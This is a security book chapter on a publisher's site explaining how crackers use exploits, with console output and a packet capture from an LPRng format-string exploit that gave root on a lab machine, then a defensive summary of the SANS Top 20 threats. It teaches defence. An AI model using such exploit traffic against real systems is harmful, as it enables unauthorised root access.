Home > Articles

This chapter is from the book

This chapter is from the book

Exploits and the SANS Top 20

In this section, we will cover the exploits run by crackers. We will also look at the SANS 20 Most Critical Internet Security Threats list.

Exploits

Reconnaissance is vital in figuring out what is open and what is closed. The next step for a cracker is to actually break into a computer network. Crackers do this by exploiting weaknesses in operating system services.

There are many exploits out there, and finding the right exploit can be a headache. Not all exploits are created equal. By this, I mean that most exploits are operating system-dependent. Just because there is a line printer exploit for Linux doesn't mean it would work on Solaris, and vice versa.

TIP

If you want to find out about the latest exploits and vulnerabilities, subscribe to the BugTraq mailing list at http://online.securityfocus.com/cgi-bin/sfonline/subscribe.pl or look at the archives at http://online.securityfocus.com/archive/1.

To help explain what an exploit is and what it looks like when it is being executed, I have included the output from an exploit and some packets involved in the exploit. The exploit we are going to look at is related to the Red Hat line printer daemon, though it has been fixed in the current version of RedHat.

Here are the listings, along with some play-by-play for each:

+++ http://www.netcat.it remote exploit for LPRng/lpd

+++ Exploit information
+++ Victim: 192.168.1.25
+++ Type: 0 - RedHat 7.0 - Guinesss
+++ Eip address: 0xbffff3ec
+++ Shellcode address: 0xbffff7f2
+++ Position: 300
+++ Alignment: 2
+++ Offset 0

+++ Attacking 192.168.1.25 with our format string
+++ Brute force man, relax and enjoy the ride ;>

From this output, we know that the exploit is attacking a Red Hat line printer. Want to see how tcpdump views this attack?

18:34:19.991789 > 192.168.1.5.2894 >
_192.168.1.25.printer: S 4221747912:4221747912(0)
_win 32120 <mss 1460,sackOK,timestamp 4058996 0,nop,wscale 0>
_(DF) (ttl 64, id 11263)
       4500 003c 2bff 4000 4006 8b4e c0a8 0105
       c0a8 0119 0b4e 0203 fba2 c2c8 0000 0000
       a002 7d78 8bb1 0000 0204 05b4 0402 080a
       003d ef74 0000 0000 0103 0300
18:34:19.993434 < 192.168.1.25.printer >
_192.168.1.5.2894: S 397480959:397480959(0) ack 4221747913 win 32120
_<mss 1460,sackOK,timestamp 393475 4058996,nop,wscale 0>
_(DF) (ttl 64, id 3278)
       4500 003c 0cce 4000 4006 aa7f c0a8 0119
       c0a8 0105 0203 0b4e 17b1 13ff fba2 c2c9
       a012 7d78 5ee7 0000 0204 05b4 0402 080a
       0006 0103 003d ef74 0103 0300
18:34:19.993514 > 192.168.1.5.2894 > 192.168.1.25.printer: . 1:1(0)
_ ack 1 win 32120 <nop,nop,timestamp 4058996 393475> (DF) 
_(ttl 64, id 11264)
       4500 0034 2c00 4000 4006 8b55 c0a8 0105
       c0a8 0119 0b4e 0203 fba2 c2c9 17b1 1400
       8010 7d78 8dac 0000 0101 080a 003d ef74
       0006 0103

18:34:19.999662 < 192.168.1.25.printer > 192.168.1.5.2894: P 1:31(30)
_ack 1 win 32120 <nop,nop,timestamp 393476 4058996> (DF) (ttl 64, id 3279)
       4500 0052 0ccf 4000 4006 aa68 c0a8 0119
       c0a8 0105 0203 0b4e 17b1 1400 fba2 c2c9
       8018 7d78 3e5b 0000 0101 080a 0006 0104
       003d ef74 6c70 643a 203a 204d 616c 666f
       726d 6564 2066 726f 6d20 6164 6472 6573
       730a
18:34:19.999686 > 192.168.1.5.2894 >
_192.168.1.25.printer: . 1:1(0) ack 31 win 32120
_<nop,nop,timestamp 4058997 393476> (DF) (ttl 64, id 11265)
       4500 0034 2c01 4000 4006 8b54 c0a8 0105
       c0a8 0119 0b4e 0203 fba2 c2c9 17b1 141e
       8010 7d78 8d8c 0000 0101 080a 003d ef75
       0006 0104
18:34:20.000863 < 192.168.1.25.printer >
_192.168.1.5.2894: F 31:31(0) ack 1 win 32120
_<nop,nop,timestamp 393476 4058997> (DF) (ttl 64, id 3280)
       4500 0034 0cd0 4000 4006 aa85 c0a8 0119
       c0a8 0105 0203 0b4e 17b1 141e fba2 c2c9
       8011 7d78 8d8b 0000 0101 080a 0006 0104
       003d ef75
18:34:20.000878 > 192.168.1.5.2894 > 192.168.1.25.printer: . 1:1(0)
_ack 32 win 32120 <nop,nop,timestamp 4058997 393476> (DF) 
_(ttl 64, id 11266)
       4500 0034 2c02 4000 4006 8b53 c0a8 0105
       c0a8 0119 0b4e 0203 fba2 c2c9 17b1 141f
       8010 7d78 8d8b 0000 0101 080a 003d ef75
       0006 0104
18:34:20.049095 > 192.168.1.5.2894 > 192.168.1.25.printer: P 1:424(423)
_ ack 32 win 32120 <nop,nop,timestamp 4059002 393476> (DF) (ttl 64, 
_id 11267)
       4500 01db 2c03 4000 4006 89ab c0a8 0105
       c0a8 0119 0b4e 0203 fba2 c2c9 17b1 141f
       8018 7d78 54c5 0000 0101 080a 003d ef7a
       0006 0104 4242 f0ff ffbf f1ff ffbf f2ff
       ffbf f3ff ffbf 5858 5858 5858 5858 5858
       5858 5858 5858 5858 252e 3137 3675 2533
       3030 246e 252e 3133 7525 3330 3124 6e25
       2e32 3533 7525 3330 3224 6e25 2e31 3932

Let's look at what's happening here. First, we see 192.168.1.5 and 192.168.1.25 attempting to make a connection using the typical TCP three-way handshake. In the next sequence of events, we see 192.168.1.5 attempting to run the exploit against 192.168.1.25. Finally, we see the 192.168.1.5 pushing 423 bytes of data to 192.168.1.25. The exploit continues this for a while until it is able to brute-force the exploit.

When this exploit worked, 192.168.1.25 provided me with a shell running as root, and I could do whatever I wanted.

Exploits are the way crackers break into systems. To protect yourself against them, you will have to update your operating system with patches. (This goes for all systems.)

The SANS Top 20

The SANS Top 20 Most Critical Internet Security Threats is a list of the most common exploits found on computer networks. What makes this list so valuable is that SANS provides a list of the related CVE entries (Common Vulnerabilities and Exposures), so you can do more research if necessary. This list was compiled by SANS with the help of many security experts and the security community.

TIP

The CVE database can be found at http://www.cve.mitre.org/. To read more on the SANS Top 20, visit http://www.sans.org/top20.

The first threat is the default installation of operating systems, which can lead to a number of problems: The system might have default passwords, it probably doesn't have the latest security patches, and it most likely is running unnecessary services that should be turned off to improve security.

The second exploit is the use of weak passwords. Need I say more? In any form of risk assessment, this is one of the most common vulnerabilities I see. When coming up with a password, remember to follow these simple guidelines:

  • Make sure that the password is at least eight characters in length.

  • Make sure that the password is a combination of numbers, special characters, and alphanumeric characters.

  • Pick a password that is not in the dictionary.

It is often useful to enforce the guidelines by configuring the password policy in the operating system or via a third-party product such as Password Bouncer (http://www.passwordbouncer.com). For more information, see Chapter 14, "Password Security."

TIP

For more information on password strengths, visit http://www.cert.org/tech_tips/passwd_file_protection.html.

Failing to keep good, up-to-date backups is the next issue. Backups need to be regularly verified to ensure that they are working, which many companies rarely do.

Another problem is having a large number of open ports. You can think of each port as a way to break into your system. Therefore, it makes sense to only keep open ports that you absolutely need.

The next threat on the SANS list is incorrect packet filtering rules on your firewall. More information can be found in Chapter 10, "Firewalls," and Chapter 23, "Routers, Switches, and Hubs."

SANS also points out that one of the biggest problems is inadequate logging. It is good to do a review of your systems to make sure that you are logging what you need during a security incident. Also, you need to make sure that the logs are getting stored somewhere secure so the cracker won't erase or modify them.

Vulnerable CGI programs are the seventh exploit in the SANS Top 20. These have been around for years, and are the main reason for most of the hack Web sites that receive mainstream attention. This type of vulnerability seems like it won't go away. Even in 2002, after knowing about this problem for years, the Bugzilla program suffered from one. Many of these CGI-BIN programs are vulnerable, especially the samples provided by vendors, and allow a malicious user to obtain root access. When an attacker obtains that level of access, he can do as he pleases (include changing the Web site).

TIP

More information can be found on CGI-BIN attacks at http://www.cert.org/advisories/CA-1997-24.html, http://www.cert.org/advisories/CA-1996-11.html, or http://www.cert.org/advisories/CA-1997-07.html. This list is not comprehensive; please dig a little further if you think you are vulnerable.

Windows-Specific Exploits

SANS also lists several Windows-specific problems. The first problem is Unicode vulnerabilities. Unicode is a character set, which in some ways is an extended form of ASCII, that allows you to represent the characters of just about every written language on Earth. ASCII, on the other hand, is limited to a subset of European languages. Using this and some tricks, a cracker can break in through your IIS server. The solution is fairly easy, in that you just need to stay current on IIS patches.

Next is the ISAPI extension buffer overflow. Buffer overflows are discussed in detail in Chapter 26, "Secure Application Development, Languages, and Extensions." This bug affects several Microsoft products. Again, the best fix is to make sure you have the latest security patches installed.

The third Microsoft-specific exploit on the list is vulnerable Remote Data Service security holes in IISI. You can prevent this exploit by simply patching your IIS.

TIP

More information can be found on RDS security holes at http://www.wiretrip.net/rfp/p/doc.asp?id=29&iface=2.

Next is global file sharing using NetBIOS (ports 135–139). This is probably the biggest security problem users have if they are connected to a cable modem or DSL. Most do not understand the concept of file sharing, and leave it enabled. Another problem is Napster. Although Napster is not listed here, it does require people to share directories, and that can lead to sharing more than what is necessary. Preventive measures are given on the SANS sites, but the basic idea is to minimize the number of shares, use passwords, and restrict access.

Consider implementing the RestrictAnonymous registry key for Internet-connected hosts in standalone or untrusted domain environments.

The fifth Microsoft-specific problem is anonymous logins. Crackers can connect and get information about systems without having to log in. This problem can be minimized by setting some registry keys, as documented on the SANS site, but cannot be completely eliminated if you have domain controllers.

The next problem is that Windows uses weak encryption by default for backward-compatibility reasons. However, most people do not need this. Unfortunately, the fix is very complex and might require that you get rid of any Windows 9x client machines.

NOTE

The National Security Agency has published many worthwhile guides to securing Windows 2000. They are available at http://nsa2.www.conxion.com/win2k/download.htm.

Unix-Specific Exploits

The first Unix exploit is the use of vulnerable Remote Procedure Calls (RPCs). RPCs enable C programs to make procedure calls on other machines across the network. Most vendors provide patches to help tighten up RPC services. Nevertheless, the best policy regarding this service is if you don't need it, then kill it. You can run ps-ef|grep rpc, find the Process ID (PID), and then run kill -9 PID. You can also disable RPC services at startup on most Unix operating systems by changing the startup file (located at /etc/rc.d/) from an S (start up) to K (kill). You can find out what RPC programs are running by using rpcinfo -p.

TIP

More information can be found on RPC attacks from http://www.cert.org/incident_notes/IN-99-04.html.

The second Unix exploit is vulnerable sendmail and MIME attacks. These vulnerabilities are related to buffer overflows as well as pipe attacks that enable immediate root compromise. There are a couple of ways to secure these problem areas: The first is to maintain the correct patches for your sendmail/mail servers. The other is that if you do not need to run either of these services, disable them (follow the same procedures as spelled out for RPC).

TIP

More information can be found on sendmail security holes at http://www.cve.mitre.org/cgi-bin/cvekey.cgi?keyword=sendmail. The latest version of sendmail can always be found at http://www.sendmail.org/.

The next issue listed in the Top 20 is BIND. BIND is a program used for DNS servers to help resolve names to addresses, and is used throughout the Internet. In the recent years, major holes have been found in many versions of BIND. It is vital for anyone who runs BIND to always keep up on the latest vulnerabilities. If you check the CVE database for BIND, you'll see that, like clockwork, it has a security problem every few months.

The fourth Unix problem described by SANS is the use of r commands. These are commands that bypass normal authentication mechanisms, and should be disabled. More information is available in Chapter 21, "Unix."

SANS also lists the line printer daemon as a threat. By sending enough print jobs, it is possible to either cause a denial-of-service attack or break into a machine. The solution is to keep up-to-date on patches.

The sixth Unix exploit is vulnerable sadmind and mountd. This vulnerability applies to many versions of Unix.

TIP

For more information on the sadmind and mountd security holes, visit http://www.cert.org/advisories/CA-99-16-sadmind.html or http://www.cert.org/advisories/CA-1998-12.html.

The final exploit in the SANS Top 20 is Default SNMP community strings set to "public" and "private". Along with the weak passwords, this vulnerability can be controlled by basic administration.

TIP

For more information on SNMP and community strings, see http://www.cisco.com/univercd/cc/td/doc/cisintwk/ito_doc/snmp.htm#xtocid210315.

Keep in mind that these are not the only vulnerabilities on the Internet. A cracker can use any exploit he has in his bag of tricks against you and your network.

InformIT Promotional Mailings & Special Offers

I would like to receive exclusive offers and hear about products from InformIT and its family of brands. I can unsubscribe at any time.

Overview


Pearson Education, Inc., 221 River Street, Hoboken, New Jersey 07030, (Pearson) presents this site to provide information about products and services that can be purchased through this site.

This privacy notice provides an overview of our commitment to privacy and describes how we collect, protect, use and share personal information collected through this site. Please note that other Pearson websites and online products and services have their own separate privacy policies.

Collection and Use of Information


To conduct business and deliver products and services, Pearson collects and uses personal information in several ways in connection with this site, including:

Questions and Inquiries

For inquiries and questions, we collect the inquiry or question, together with name, contact details (email address, phone number and mailing address) and any other additional information voluntarily submitted to us through a Contact Us form or an email. We use this information to address the inquiry and respond to the question.

Online Store

For orders and purchases placed through our online store on this site, we collect order details, name, institution name and address (if applicable), email address, phone number, shipping and billing addresses, credit/debit card information, shipping options and any instructions. We use this information to complete transactions, fulfill orders, communicate with individuals placing orders or visiting the online store, and for related purposes.

Surveys

Pearson may offer opportunities to provide feedback or participate in surveys, including surveys evaluating Pearson products, services or sites. Participation is voluntary. Pearson collects information requested in the survey questions and uses the information to evaluate, support, maintain and improve products, services or sites, develop new products and services, conduct educational research and for other purposes specified in the survey.

Contests and Drawings

Occasionally, we may sponsor a contest or drawing. Participation is optional. Pearson collects name, contact information and other information specified on the entry form for the contest or drawing to conduct the contest or drawing. Pearson may collect additional personal information from the winners of a contest or drawing in order to award the prize and for tax reporting purposes, as required by law.

Newsletters

If you have elected to receive email newsletters or promotional mailings and special offers but want to unsubscribe, simply email information@informit.com.

Service Announcements

On rare occasions it is necessary to send out a strictly service related announcement. For instance, if our service is temporarily suspended for maintenance we might send users an email. Generally, users may not opt-out of these communications, though they can deactivate their account information. However, these communications are not promotional in nature.

Customer Service

We communicate with users on a regular basis to provide requested services and in regard to issues relating to their account we reply via email or phone in accordance with the users' wishes when a user submits their information through our Contact Us form.

Other Collection and Use of Information


Application and System Logs

Pearson automatically collects log data to help ensure the delivery, availability and security of this site. Log data may include technical information about how a user or visitor connected to this site, such as browser type, type of computer/device, operating system, internet service provider and IP address. We use this information for support purposes and to monitor the health of the site, identify problems, improve service, detect unauthorized access and fraudulent activity, prevent and respond to security incidents and appropriately scale computing resources.

Web Analytics

Pearson may use third party web trend analytical services, including Google Analytics, to collect visitor information, such as IP addresses, browser types, referring pages, pages visited and time spent on a particular site. While these analytical services collect and report information on an anonymous basis, they may use cookies to gather web trend information. The information gathered may enable Pearson (but not the third party web trend services) to link information with application and system log data. Pearson uses this information for system administration and to identify problems, improve service, detect unauthorized access and fraudulent activity, prevent and respond to security incidents, appropriately scale computing resources and otherwise support and deliver this site and its services.

Cookies and Related Technologies

This site uses cookies and similar technologies to personalize content, measure traffic patterns, control security, track use and access of information on this site, and provide interest-based messages and advertising. Users can manage and block the use of cookies through their browser. Disabling or blocking certain cookies may limit the functionality of this site.

Do Not Track

This site currently does not respond to Do Not Track signals.

Security


Pearson uses appropriate physical, administrative and technical security measures to protect personal information from unauthorized access, use and disclosure.

Children


This site is not directed to children under the age of 13.

Marketing


Pearson may send or direct marketing communications to users, provided that

  • Pearson will not use personal information collected or processed as a K-12 school service provider for the purpose of directed or targeted advertising.
  • Such marketing is consistent with applicable law and Pearson's legal obligations.
  • Pearson will not knowingly direct or send marketing communications to an individual who has expressed a preference not to receive marketing.
  • Where required by applicable law, express or implied consent to marketing exists and has not been withdrawn.

Pearson may provide personal information to a third party service provider on a restricted basis to provide marketing solely on behalf of Pearson or an affiliate or customer for whom Pearson is a service provider. Marketing preferences may be changed at any time.

Correcting/Updating Personal Information


If a user's personally identifiable information changes (such as your postal address or email address), we provide a way to correct or update that user's personal data provided to us. This can be done on the Account page. If a user no longer desires our service and desires to delete his or her account, please contact us at customer-service@informit.com and we will process the deletion of a user's account.

Choice/Opt-out


Users can always make an informed choice as to whether they should proceed with certain services offered by InformIT. If you choose to remove yourself from our mailing list(s) simply visit the following page and uncheck any communication you no longer want to receive: www.informit.com/u.aspx.

Sale of Personal Information


Pearson does not rent or sell personal information in exchange for any payment of money.

While Pearson does not sell personal information, as defined in Nevada law, Nevada residents may email a request for no sale of their personal information to NevadaDesignatedRequest@pearson.com.

Supplemental Privacy Statement for California Residents


California residents should read our Supplemental privacy statement for California residents in conjunction with this Privacy Notice. The Supplemental privacy statement for California residents explains Pearson's commitment to comply with California law and applies to personal information of California residents collected in connection with this site and the Services.

Sharing and Disclosure


Pearson may disclose personal information, as follows:

  • As required by law.
  • With the consent of the individual (or their parent, if the individual is a minor)
  • In response to a subpoena, court order or legal process, to the extent permitted or required by law
  • To protect the security and safety of individuals, data, assets and systems, consistent with applicable law
  • In connection the sale, joint venture or other transfer of some or all of its company or assets, subject to the provisions of this Privacy Notice
  • To investigate or address actual or suspected fraud or other illegal activities
  • To exercise its legal rights, including enforcement of the Terms of Use for this site or another contract
  • To affiliated Pearson companies and other companies and organizations who perform work for Pearson and are obligated to protect the privacy of personal information consistent with this Privacy Notice
  • To a school, organization, company or government agency, where Pearson collects or processes the personal information in a school setting or on behalf of such organization, company or government agency.

Links


This web site contains links to other sites. Please be aware that we are not responsible for the privacy practices of such other sites. We encourage our users to be aware when they leave our site and to read the privacy statements of each and every web site that collects Personal Information. This privacy statement applies solely to information collected by this web site.

Requests and Contact


Please contact us about this Privacy Notice or if you have any requests or questions relating to the privacy of your personal information.

Changes to this Privacy Notice


We may revise this Privacy Notice through an updated posting. We will identify the effective date of the revision in the posting. Often, updates are made to provide greater clarity or to comply with changes in regulatory requirements. If the updates involve material changes to the collection, protection, use or disclosure of Personal Information, Pearson will provide notice of the change through a conspicuous notice on this site or other appropriate way. Continued use of the site after the effective date of a posted revision evidences acceptance. Please contact us if you have questions or concerns about the Privacy Notice or any objection to any revisions.

Last Update: November 17, 2020